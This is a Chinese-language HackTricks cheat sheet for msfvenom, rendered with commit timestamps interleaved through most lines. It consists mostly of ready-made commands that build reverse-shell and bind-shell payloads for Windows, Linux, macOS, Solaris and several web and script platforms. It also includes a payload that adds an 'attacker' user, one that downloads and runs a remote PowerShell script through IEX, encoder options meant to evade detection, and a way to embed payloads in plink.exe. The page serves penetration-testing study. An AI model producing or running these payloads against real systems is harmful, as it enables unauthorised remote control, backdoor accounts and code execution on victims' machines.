2024-07-18 22:08:20 +00:00
# MSFVenom - CheatSheet
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
{% hint style="success" %}
学习和实践 AWS 黑客技术:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习和实践 GCP 黑客技术:< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks 培训 GCP 红队专家 (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
< summary > 支持 HackTricks< / summary >
2023-12-30 22:37:12 +00:00
2024-07-18 22:08:20 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram 群组** ](https://t.me/peass ) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub 仓库提交 PR 分享黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:08:20 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-05-05 22:03:00 +00:00
< figure > < img src = "../../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
加入 [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
2023-02-27 09:28:45 +00:00
2024-02-06 04:10:34 +00:00
**黑客见解**\
2024-07-18 22:08:20 +00:00
参与深入探讨黑客的刺激与挑战的内容
2022-11-05 09:07:43 +00:00
2023-12-30 22:37:12 +00:00
**实时黑客新闻**\
2024-07-18 22:08:20 +00:00
通过实时新闻和见解,跟上快速变化的黑客世界
2023-07-14 14:20:34 +00:00
2023-12-30 22:37:12 +00:00
**最新公告**\
2024-07-18 22:08:20 +00:00
了解最新的漏洞赏金发布和重要平台更新
**加入我们在** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ),今天就开始与顶级黑客合作!
***
## 基本 msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
2023-07-14 14:20:34 +00:00
2024-07-18 22:08:20 +00:00
还可以使用 `-a` 指定架构或 `--platform`
## 列表
2020-07-15 15:43:14 +00:00
```bash
2022-11-10 09:24:36 +00:00
msfvenom -l payloads #Payloads
2020-07-15 15:43:14 +00:00
msfvenom -l encoders #Encoders
```
2024-02-06 04:10:34 +00:00
## 创建 shellcode 时的常见参数
2020-07-15 15:43:14 +00:00
```bash
2023-08-16 09:35:31 +00:00
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
2020-07-15 15:43:14 +00:00
```
2023-08-16 09:35:31 +00:00
## **Windows**
2023-08-03 19:12:22 +00:00
2024-07-18 22:08:20 +00:00
### **反向Shell**
2023-08-03 19:12:22 +00:00
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
2023-08-03 19:12:22 +00:00
```
2024-07-18 22:08:20 +00:00
{% endcode %}
### 绑定 Shell
2023-08-03 19:12:22 +00:00
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
### 创建用户
2020-07-15 15:43:14 +00:00
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
2020-07-15 15:43:14 +00:00
```
2023-03-05 19:54:13 +00:00
### CMD Shell
2020-07-15 15:43:14 +00:00
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
2023-08-03 19:12:22 +00:00
### **执行命令**
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
### 编码器
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
2024-07-18 22:08:20 +00:00
### 嵌入可执行文件中
2023-08-03 19:12:22 +00:00
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
2024-07-18 22:08:20 +00:00
{% endcode %}
2024-02-06 04:10:34 +00:00
## Linux Payloads
2023-08-03 19:12:22 +00:00
2024-02-06 04:10:34 +00:00
### 反向Shell
2024-05-05 22:03:00 +00:00
2024-07-18 22:08:20 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
2024-07-18 22:08:20 +00:00
### 绑定 Shell
2020-07-15 15:43:14 +00:00
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
2023-12-30 22:37:12 +00:00
### SunOS (Solaris)
2020-07-15 15:43:14 +00:00
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
2024-07-18 22:08:20 +00:00
{% endcode %}
2023-08-03 19:12:22 +00:00
2024-07-18 22:08:20 +00:00
## **MAC 载荷**
### **反向 Shell: **
2023-08-03 19:12:22 +00:00
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
2024-02-06 04:10:34 +00:00
{% endcode %}
2024-07-18 22:08:20 +00:00
### **绑定 Shell**
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
2024-05-05 22:03:00 +00:00
{% endcode %}
2024-07-18 22:08:20 +00:00
## **基于网络的有效载荷**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **PHP**
2020-07-15 15:43:14 +00:00
2024-07-18 22:08:20 +00:00
#### 反向shell
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP > LPORT=< PORT > -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '< ?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
2020-07-15 15:43:14 +00:00
```
2024-07-18 22:08:20 +00:00
{% endcode %}
2023-08-16 09:35:31 +00:00
### ASP/x
2023-08-03 19:12:22 +00:00
2023-08-16 09:35:31 +00:00
#### 反向 shell
2024-05-05 22:03:00 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
2024-07-18 22:08:20 +00:00
{% endcode %}
2023-03-05 19:54:13 +00:00
### JSP
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
#### 反向 shell
2024-05-05 22:03:00 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
2023-08-16 09:35:31 +00:00
### WAR
2023-08-03 19:12:22 +00:00
2023-12-30 22:37:12 +00:00
#### 反向Shell
2024-07-18 22:08:20 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
2024-02-06 04:10:34 +00:00
{% endcode %}
2023-08-16 09:35:31 +00:00
### NodeJS
2023-08-03 19:12:22 +00:00
```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
2024-02-06 04:10:34 +00:00
## **脚本语言有效载荷**
2023-08-03 19:12:22 +00:00
### **Perl**
2023-08-16 09:35:31 +00:00
{% code overflow="wrap" %}
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
2023-08-16 09:35:31 +00:00
### **Python**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
2023-12-30 22:37:12 +00:00
### **Bash**
2023-08-03 19:12:22 +00:00
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=< Local IP Address > LPORT=< Local Port > -f raw > shell.sh
```
2023-08-16 09:35:31 +00:00
{% endcode %}
2024-05-05 22:03:00 +00:00
< figure > < img src = "../../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 14:20:34 +00:00
2024-07-18 22:08:20 +00:00
加入 [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
2023-07-14 14:20:34 +00:00
2024-02-06 04:10:34 +00:00
**黑客见解**\
2024-07-18 22:08:20 +00:00
参与深入探讨黑客的刺激与挑战的内容
2023-03-05 19:54:13 +00:00
2023-12-30 22:37:12 +00:00
**实时黑客新闻**\
2024-07-18 22:08:20 +00:00
通过实时新闻和见解,跟上快速变化的黑客世界
2023-02-27 09:28:45 +00:00
2023-12-30 22:37:12 +00:00
**最新公告**\
2024-07-18 22:08:20 +00:00
了解最新的漏洞赏金计划和重要平台更新
2023-02-27 09:28:45 +00:00
2024-07-18 22:08:20 +00:00
**今天就加入我们,** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ),与顶尖黑客开始合作!
2022-11-05 09:07:43 +00:00
2024-07-18 22:08:20 +00:00
{% hint style="success" %}
学习与实践 AWS 黑客技术:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
学习与实践 GCP 黑客技术:< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks 培训 GCP 红队专家 (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
< details >
2023-12-30 22:37:12 +00:00
2024-07-18 22:08:20 +00:00
< summary > 支持 HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-18 22:08:20 +00:00
* 查看 [**订阅计划** ](https://github.com/sponsors/carlospolop )!
* **加入** 💬 [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ),或 **在** **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )** 上关注我们。**
* **通过向** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 和 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub 仓库提交 PR 分享黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 22:08:20 +00:00
{% endhint %}